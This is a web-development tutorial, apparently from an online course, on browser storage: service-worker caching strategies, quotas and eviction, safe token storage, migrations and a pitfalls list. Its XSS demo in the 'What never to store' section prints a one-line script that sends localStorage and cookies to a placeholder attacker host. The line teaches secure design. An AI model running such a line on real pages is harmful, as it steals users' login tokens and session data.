Which file gets which

RequestStrategyWhy
Hashed assets (/assets/index-3f9a1c.js)cache-firstThe name changes when the content does, so a cached copy is never wrong (§07)
Pages (index.html, navigations)network-first, with an offline fallbackMust pick up new deploys; offline, the last good copy beats an error
Feeds, avatars, "nice to be fresh" API datastale-while-revalidateInstant, and at most one visit behind
POST/PUT/DELETE, payments, authnetwork-onlyNever answer a write from a cache; queue it instead (§13)

The code

Each strategy is a few lines. The fetch handler picks one by looking at the request:

sw.js
// cache-first: hashed files that never change
async function cacheFirst(request) {
  const hit = await caches.match(request);
  if (hit) return hit;
  const res = await fetch(request);
  if (res.ok) await (await caches.open(ASSETS)).put(request, res.clone());
  return res;
}

// network-first: HTML, and data that should be fresh whenever possible
async function networkFirst(request) {
  try {
    const res = await fetch(request);
    if (res.ok) await (await caches.open(PAGES)).put(request, res.clone());
    return res;
  } catch {
    return (await caches.match(request)) ?? (await caches.match("/offline.html")) ?? Response.error();
  }
}

// stale-while-revalidate: answer with the saved copy now, refresh it for next time
async function staleWhileRevalidate(event) {
  const cache = await caches.open(RUNTIME);
  const hit = await cache.match(event.request);
  const refresh = fetch(event.request).then(async (res) => {
    if (res.ok) await cache.put(event.request, res.clone());
    return res;
  });
  event.waitUntil(refresh.catch(() => {}));   // ← keep the worker alive until the refresh is stored
  return hit ?? refresh;
}

self.addEventListener("fetch", (event) => {
  const { request } = event;
  const url = new URL(request.url);
  if (request.method !== "GET" || url.origin !== location.origin) return;  // not ours: normal network
  if (url.pathname.startsWith("/assets/")) event.respondWith(cacheFirst(request));
  else if (request.mode === "navigate") event.respondWith(networkFirst(request));
  else if (url.pathname.startsWith("/api/")) event.respondWith(staleWhileRevalidate(event));
});

We ran this worker in headless Chromium against a test server: assets came from the network once and then from the cache, /api/ returned the saved copy instantly and was one step behind after each refresh, and with the network switched off, a reload still showed the last page.

A network timeout is the common upgrade to network-first: race fetch against a 3-second timer and fall back to the cache if the timer wins, so a bad connection doesn't feel like a frozen app. And libraries such as Workbox package these strategies, precaching and cache expiry, so you write route rules instead of the functions above.

Offline is a feature, not an error

  • Give navigation requests a fallback page (/offline.html, precached at install) instead of the browser's "No internet" screen.
  • Don't trust navigator.onLine. true only means "connected to some network", not "the internet works" (a hotel Wi-Fi login page counts as online). Use it for hints in the UI; let failed requests tell you the truth.
  • Writes need a queue. You can't serve a POST from a cache. An offline-first app saves the change locally and sends it later (§13's outbox).
Staff-level§11

Quotas, eviction and persistent storage

In one sentenceA site can usually store gigabytes, but by default the browser treats it as a cache it may clear. Plan for your data to disappear, ask for persistence when it really matters, and handle "disk full" like any other error.

How much fits?

Ask the browser. navigator.storage.estimate() reports how much this origin uses and how much it may use, counting IndexedDB, the Cache API, service worker scripts and the origin private file system. The meter below runs it live in your browser:

How much can this site store?
Live numbers from navigator.storage.estimate() in your browser. The buttons write real (demo) data and 'Delete both' removes it.
usage
—
quota
—
persistent?
—
localStorage and cookies have their own small limits and don't show up in this estimate. Numbers are estimates on purpose: browsers round and pad them so sites can't learn exact details about your disk.
const { usage, quota } = await navigator.storage.estimate();
console.log(`${(usage / 1e6).toFixed(1)} MB used of ${(quota / 1e9).toFixed(1)} GB`);

What we saw in headless Chromium: a 5 MB Blob in IndexedDB counted as about 5.3 MB, a 5 MB response in the Cache API as about 5.2 MB, and writing 1 MB to localStorage didn't change the number: localStorage and cookies have their own small limits (§03, §04) outside this quota. After deleting the cache, the reported usage stayed the same for a while: browsers clean up lazily.

The quota itself depends on the browser and the free disk space. At the time of writing, per MDN's "Storage quotas and eviction criteria" page:

BrowserRoughly how much one origin may use
Chrome, Edge (Chromium)up to 60% of the total disk
Firefoxup to 10% of the disk (or 10 GB) per site by default; more if storage is persistent
Safari 17+around 60% of the disk for sites opened in Safari; less inside apps' embedded web views

These rules change between versions, so always ask estimate() rather than hard-coding a number. The answer is also deliberately approximate, so sites can't use exact disk numbers to recognise your device.

When the browser deletes it anyway

By default a site's storage is best-effort: the browser keeps it as long as it can, and deletes it when it must. Eviction happens in a few situations:

  • Storage pressure. When the disk gets nearly full, the browser frees space by deleting whole origins, starting with the ones used least recently (the LRU idea). It doesn't delete half your database: all of this site's IndexedDB, caches and service workers go together, so your data is never left half-deleted.
  • Safari's 7-day rule. Safari's Intelligent Tracking Prevention can delete all script-written storage (localStorage, IndexedDB, Cache API, service workers) for a site the user hasn't interacted with in the last seven days of using Safari. Web apps added to the Home Screen are exempt. If your users are on iPhones, assume a returning visitor may have nothing stored.
  • Private windows. Storage works, often with a smaller quota, and everything is deleted when the window closes.
  • The user, via "Clear browsing data" or DevTools. Always possible, never announced.

Asking for persistence

if (navigator.storage?.persist && !(await navigator.storage.persisted())) {
  const granted = await navigator.storage.persist();   // true = won't be evicted automatically
}

With persistent storage granted, the browser won't evict the site under storage pressure; only the user can clear it. How it's granted differs: Chromium decides silently (sites the user visits a lot, has installed or bookmarked, or allowed to send notifications), Firefox shows a permission prompt, and Safari decides on its own heuristics. Ask at a meaningful moment, like "Make these notes available offline", not on first page load.

Practitioner§12

What never to store in the browser

In one sentenceTreat everything in browser storage as public to the page: the user can read and edit it, every script on the page can read it, and it stays on the device after they walk away. Store what you'd be fine seeing on a postcard.

Four facts that decide what's safe

  1. The user controls it. DevTools edits localStorage, IndexedDB and non-HttpOnly cookies in two clicks.
  2. Every script on the page can read it. Not just your code: analytics, chat widgets, ad tags, every npm package in your bundle, and any script an attacker manages to inject. That last one is cross-site scripting (XSS), covered in OWASP Top 10 §04.
  3. It outlives the session. On a shared or stolen laptop, the next person gets whatever you left there.
  4. It can vanish (§11), so it can't be the only copy of anything important.

Tokens: the classic mistake

Many tutorials save a login token, usually a JWT, with localStorage.setItem("token", jwt) and send it on every API call as a bearer token (Authorization: Bearer <token>: whoever presents it is let in). It works, and it means one XSS bug hands every user's login to the attacker. See for yourself:

You are the injected script
Pick where the app keeps the user's login, then run the attacker's one-liner. Nothing is sent anywhere: the 'request' is only displayed.
attacker's code
// one line hidden in a compromised npm package or an unescaped comment
new Image().src = "https://evil.example/steal?d=" +
  encodeURIComponent(JSON.stringify({ ...localStorage }) + " | " + document.cookie);
what it read
Run the attacker's code.

An Access token in localStorage can be copied and used from the attacker's own machine until it expires. A session ID in an HttpOnly cookie can't be read by any script. An injected script can still use the session while the tab is open (the browser attaches the cookie to its requests), but it can't take it away, and the damage stops when the tab closes or the session ends.

✕ Readable by any script on the page
// after login
localStorage.setItem("token", data.accessToken);
// every request
fetch("/api/me", { headers: { Authorization: `Bearer ${localStorage.getItem("token")}` } });
✓ The browser holds it; JavaScript never sees it
// the server's login response sets:
//   Set-Cookie: __Host-sid=…; Path=/; HttpOnly; Secure; SameSite=Lax
// every request (same site): the cookie goes along automatically
fetch("/api/me");

(__Host- at the start of the cookie name is a prefix the browser enforces: the cookie must be Secure, have Path=/ and no Domain, so no subdomain can set or overwrite it.)

If your single-page app must hold tokens for a third-party API, keep the access token in memory only (a variable, gone on reload) and get new ones through an HttpOnly cookie, or put a small server in between (a "backend for frontend"). Authentication §06 walks through both designs. Cookie-based sessions bring their own risk, cross-site request forgery, which SameSite and the defences in CORS & CSRF handle.

The never list

Never storeBecauseInstead
Long-lived tokens, refresh tokensXSS can copy themHttpOnly cookie, or memory + a BFF
API secrets, private keysAnything shipped to the browser is public (Secrets)Keep them on the server; proxy the call
Passwords, card numbersNever needed after the request that used themSend once over HTTPS, keep nothing
"Trusted" flags: isAdmin, prices, discounts, quotasThe user can edit themThe server decides on every request
More personal data than the screen needsShared devices, XSS, privacy law (GDPR)Fetch it when needed; cache the minimum

if (localStorage.isAdmin) showAdminMenu() is fine for deciding what to show. It's never fine for deciding what's allowed: the admin API must check the session on the server, every time.

Clean up on logout

Logging out should leave nothing behind for the next person. In the browser, clear what your app wrote; on the server, end the session and send Clear-Site-Data, which asks the browser to wipe everything for your origin:

logout.go
func logout(w http.ResponseWriter, r *http.Request) {
	// 1. delete the session on the server first (not shown)
	// 2. expire the session cookie
	http.SetCookie(w, &http.Cookie{
		Name: "__Host-sid", Value: "", Path: "/",
		MaxAge: -1, // ← negative = "delete it now" (Go sends Max-Age=0)
		Secure: true, HttpOnly: true, SameSite: http.SameSiteLaxMode,
	})
	// 3. ask the browser to wipe everything else this site stored
	w.Header().Set("Clear-Site-Data", `"cache", "cookies", "storage"`)
	w.WriteHeader(http.StatusNoContent)
}

Clear-Site-Data is supported in Chromium-based browsers and Firefox; check MDN for Safari's current support, which is why the JavaScript side clears things too. If several people can share one browser profile, also put the user ID in your storage keys or database name, so one user's leftovers can never be shown to the next.

Staff-level§13

Staff-level: storage in production

In one sentenceIn production, stored data outlives your code: the user's browser still holds what last month's version wrote, in three open tabs, with half of it unsynced. Version everything, coordinate tabs, and keep an escape hatch for your service worker.

1. Version what you store

localStorage: store a version next to the data and migrate on read. A tiny shape change (renaming dark: true to theme: "dark") otherwise turns into a crash on every returning visitor's first load.

const KEY = "prefs";
const CURRENT = 2;

export function loadPrefs() {
  const saved = loadJSON(KEY, null);                 // §04's safe reader
  if (!saved) return { v: CURRENT, theme: "light" };
  if (saved.v === 1) return { v: 2, theme: saved.dark ? "dark" : "light" };   // ← v1 → v2
  if (saved.v === CURRENT) return saved;
  return { v: CURRENT, theme: "light" };              // unknown (newer?) shape: start fresh, don't crash
}

IndexedDB: the version number is built in. Each release that changes the structure bumps it, and the upgrade handler runs every step between the user's old version and the new one, whichever version they had (this is a database migration, client-side):

const req = indexedDB.open("notes-app", 3);
req.onupgradeneeded = (event) => {
  const db = req.result;
  const tx = req.transaction;               // the versionchange transaction
  switch (event.oldVersion) {               // no `break`: fall through every later step
    case 0:
      db.createObjectStore("notes", { keyPath: "id", autoIncrement: true });
    case 1:
      tx.objectStore("notes").createIndex("byTag", "tag");
    case 2:
      db.createObjectStore("outbox", { keyPath: "id", autoIncrement: true });
  }
};

2. Old tabs block upgrades

A version change can't happen while another tab still has the database open with the old version. The new tab's open() fires blocked and waits. Meanwhile the old tab gets a versionchange event, and it's polite to step aside:

db.onversionchange = () => {
  db.close();                                          // let the new version upgrade
  showBanner("This app was updated in another tab. Reload to continue.");
};
req.onblocked = () => showBanner("Close other tabs of this app to finish updating.");

In our test, the order was exactly: old tab gets versionchange, new tab gets blocked, old tab closes, then upgradeneeded runs. If the old tab ignores the event, the new one waits forever.

3. Many tabs, one app

Users open your app in several tabs. Two small APIs keep them from fighting:

// tell the other tabs something happened
const channel = new BroadcastChannel("notes");
channel.postMessage({ type: "saved", id: 7 });
channel.onmessage = (e) => { if (e.data.type === "saved") reloadList(); };

// make sure only ONE tab runs the sync, however many are open
await navigator.locks.request("sync-outbox", async () => {
  await flushOutbox();                                 // the lock is released when this resolves
});

BroadcastChannel sends messages to every tab, frame and worker of the same origin, like the storage event (§04) but for any data. The Web Locks API gives you a lock shared by all of them: a second tab asking for "sync-outbox" waits until the first is done, so two tabs never send the same change twice.

4. Offline writes: an outbox

An offline-first app writes locally first and syncs later. The pattern is an outbox: save the change and a "send this" entry in one transaction, then send entries in order when the network is there.

async function saveNote(note) {
  const tx = db.transaction(["notes", "outbox"], "readwrite");   // two stores, one transaction
  tx.objectStore("notes").put(note);
  tx.objectStore("outbox").add({ note, key: crypto.randomUUID() });   // ← idempotency key
  await done(tx);                                 // both saved, or neither (§05's helper)
  flushOutbox().catch(() => {});                  // try now; a failure just means "later"
}

async function flushOutbox() {
  const items = await reqP(db.transaction("outbox").objectStore("outbox").getAll());
  for (const item of items) {
    const res = await fetch("/api/notes", {
      method: "PUT",
      headers: { "Content-Type": "application/json", "Idempotency-Key": item.key },
      body: JSON.stringify(item.note),
    });
    if (!res.ok) throw new Error(`sync failed: ${res.status}`);   // stop here; keep the order
    const tx = db.transaction("outbox", "readwrite");
    tx.objectStore("outbox").delete(item.id);
    await done(tx);
  }
}

The Idempotency-Key matters: if the request reached the server but the reply was lost, the retry sends the same key, and the server can recognise it and not apply the change twice (Idempotency covers the server side). Call flushOutbox on startup, after each save, and on the online event. Chromium also has Background Sync, which lets a service worker retry after the page is closed; other browsers don't, so treat it as a bonus.

Conflicts (the same note edited on two devices while offline) are a design decision, not a storage feature: last write wins, per-field merges, or asking the user. Decide it before you ship the outbox.

5. Service workers need an escape hatch

A buggy service worker can keep serving a broken app from the cache, to every user, until it's replaced. Since the browser always re-checks sw.js itself, you can always ship a fix. Keep this "kill switch" version ready:

sw.js — emergency version
self.addEventListener("install", () => self.skipWaiting());     // don't wait (§09)
self.addEventListener("activate", (event) => {
  event.waitUntil((async () => {
    for (const name of await caches.keys()) await caches.delete(name);
    await self.registration.unregister();                         // remove the worker
    for (const client of await self.clients.matchAll({ type: "window" })) {
      client.navigate(client.url);                                // reload open tabs from the network
    }
  })());
});

Also: serve sw.js with Cache-Control: no-cache, never serve HTML cache-first, test updates with two tabs open (that's what users have), and watch the share of page loads served by each worker version in your analytics (Observability).

6. Things that will surprise you eventually

  • Partitioned third-party storage. If your code runs inside someone else's page in an <iframe> (an embed, a payment form, a chat widget), its storage is partitioned by the top-level site in all major browsers now: a user logged in on widget.com is logged out inside news.com's embed. Third-party cookies are a moving target: Safari blocks them and Firefox partitions them by default, while Chrome, at the time of writing, still allows them by default after Google dropped its plan to phase them out. Don't build on them (CORS & CSRF §05). The Storage Access API lets an embed ask the user for its unpartitioned storage.
  • Storage that throws. Users block storage per site; some privacy modes and older browsers (Safari 10 and earlier, in private windows) threw on every setItem. Feature-detect, wrap calls in try/catch, and make storage an enhancement, not a requirement.
  • Bigger needs. For a real local database (SQL queries, many megabytes of rows), teams now run SQLite compiled to WebAssembly (a compact, fast code format browsers can run next to JavaScript) on top of the origin private file system (OPFS), usually inside a Web Worker. Chromium also has Storage Buckets, which split a site's storage into separately evictable groups; it's Chromium-only at the time of writing.
Practitioner§14

Pitfalls gallery

Each of these has shipped to production somewhere. Most are one line to fix once you know them.

#1

Saving an object without JSON

localStorage.setItem("cart", cart) stores "[object Object]", and the cart is gone. Arrays become "1,2,3", numbers come back as strings ("42" + 1 is "421"). Always JSON.stringify in and JSON.parse out (§04).

#2

Trusting what you read back

JSON.parse(localStorage.getItem("prefs")).theme crashes when the key is missing (JSON.parse(null) gives null, then .theme throws), when the text is corrupt, or when last month's version stored a different shape. Read through a helper with a fallback and a version field (§04, §13).

#3

Touching storage during server rendering

With server-side rendering, your component also runs on the server, where window, localStorage and indexedDB don't exist: "ReferenceError: localStorage is not defined". Read storage in an effect (which only runs in the browser), and expect the first browser render to match the server's output. CSR, SSR & Hydration explains why.

#4

Login tokens in localStorage

Any script on the page, including an injected one, can read and copy them (§12). Prefer an HttpOnly, Secure, SameSite session cookie set by the server, or keep short-lived tokens in memory only.

#5

Serving HTML cache-first

A service worker that answers navigations from the cache first means index.html never updates, so users stay on the old app (and its old asset names) forever. Use network-first for HTML, cache-first only for content-hashed files (§10).

#6

Storing a response and returning it too

cache.put(req, res) reads the body; returning the same res then fails with "body stream already read". Store res.clone() (§08).

#7

Awaiting a fetch inside an IndexedDB transaction

The transaction auto-commits while you wait, and the next write throws TransactionInactiveError. Do the network call first, then open a short transaction (§05).

#8

Caches that only grow

Nothing in the Cache API expires. Without versioned cache names cleaned up in activate, and a cap on runtime caches, every deploy adds another full copy of your app to the user's disk, until the quota or the user's patience runs out (§08, §11).

#9

Expecting a reload to deploy the new service worker

A new worker waits until every tab using the old one closes; a reload keeps the old one (§09). In development, tick "Update on reload" in DevTools → Application → Service workers. In production, show an "Update available" prompt.

#10

Cookie bloat

Every analytics, A/B and consent tool adds cookies, and every cookie rides on every request, images included (§03). Audit them in DevTools → Application → Cookies, and keep anything the server doesn't read out of cookies.

#11

Leaving the last user's data behind

On a shared computer, the next person opens your app and sees the previous user's cached inbox. On logout, clear storage and caches, send Clear-Site-Data, and key local data by user ID (§12).

#12

Treating browser storage as permanent

Eviction under storage pressure, Safari's seven-day rule, private windows and "Clear browsing data" can all empty it (§11). Keep the server as the source of truth, and sync unsent changes early.

Practitioner§15

Check yourself

Commit to an answer before you click. Each explanation points back to the section that covers it.

QUESTION 1 / 7
What comes back?
localStorage.setItem("cart", [1, 2, 3]);
const cart = localStorage.getItem("cart");
QUESTION 2 / 7
Which one rides along?

Your page makes 40 requests to your own server. Which of these does the browser add to every one of them without any code from you?

QUESTION 3 / 7
Two dev servers

Your app runs on http://localhost:5173 and its API on http://localhost:3000. What do they share?

QUESTION 4 / 7
The deploy that didn't arrive

You shipped a new sw.js. A user reloads the page, and still gets the old version of your app. Most likely?

QUESTION 5 / 7
The vanishing transaction
const tx = db.transaction("notes", "readwrite");
const store = tx.objectStore("notes");
const res = await fetch("/api/notes/7");
store.put(await res.json());
QUESTION 6 / 7
Is it safe forever?

A notes app keeps everything in IndexedDB. It never called navigator.storage.persist(). Which is true?

QUESTION 7 / 7
Where should it go?

A single-page app needs to remember the user is logged in across reloads. Which is the safest default?

Answered 0 / 7
Foundations§16

Cheat sheet

🏷️
Cookies travelSent on every request to the host. ~4 KB each, silently dropped if bigger. Keep them to a session ID; HttpOnly; Secure; SameSite for anything that matters.
🧊
localStorage: small strings~5 million characters per origin, synchronous, strings only: JSON.stringify in, JSON.parse (with a fallback) out. Readable by any script.
🍽️
sessionStorage: one tabSame API, cleared when the tab closes, never shared between tabs.
❄️
IndexedDB: the real databaseAsync, structured clone (Dates, Blobs), indexes, transactions. Change structure only in upgradeneeded; batch writes; never await other work mid-transaction.
🧵
Async ≠ freeDisk waits leave the main thread; copying data doesn't. 10,000 tiny puts froze the page for up to 200 ms. Batch, or use a Web Worker.
🗄️
HTTP cache: set headers, not codeHashed assets: max-age=31536000, immutable. index.html: no-cache. It speeds up repeat visits but doesn't make an app work offline.
🥡
Cache API: you own itRequest → Response pairs, ignores Cache-Control, never expires. Version cache names, delete old ones, clone() before put.
🚪
Service worker: a proxy you writeInstall → activate → controls pages on their next load. New versions wait for all tabs to close; skipWaiting() with care. Keep a kill switch.
⚖️
Pick a strategy per requestHashed assets cache-first, HTML network-first with an offline page, feeds stale-while-revalidate, writes network-only plus an outbox.
🧹
It's a cache, not a vaultBest-effort storage can be evicted (whole origin, LRU; Safari after 7 days idle). Ask persist() when it matters. No tokens, secrets or trusted flags; clear everything on logout.
If you want to…Do thisAvoid
Remember a theme or languagelocalStorage + JSONa cookie the server never reads
Keep a form draft in one tabsessionStoragelocalStorage (leaks to other tabs, lives forever)
Keep someone logged inserver-set HttpOnly; Secure; SameSite cookiea token in localStorage
Store thousands of records or filesIndexedDB (via idb or a small wrapper)one giant localStorage JSON blob
Cache JS/CSS/imagescontent-hashed names + immutable; index.html with no-cachelong max-age on unhashed files
Work offlineservice worker + Cache API + offline fallback pagerelying on the HTTP cache
Sync tabsstorage event, BroadcastChannel, Web Lockspolling localStorage
Know how much space you havenavigator.storage.estimate()hard-coded limits
Log out cleanlyend the session, Clear-Site-Data, clear storage in JSleaving cached user data
Finished reading?Mark it complete to track your progress on a roadmap. Saved in this browser only.
Up next in Frontend & BrowserCSR, SSR, SSG & Hydration
Read →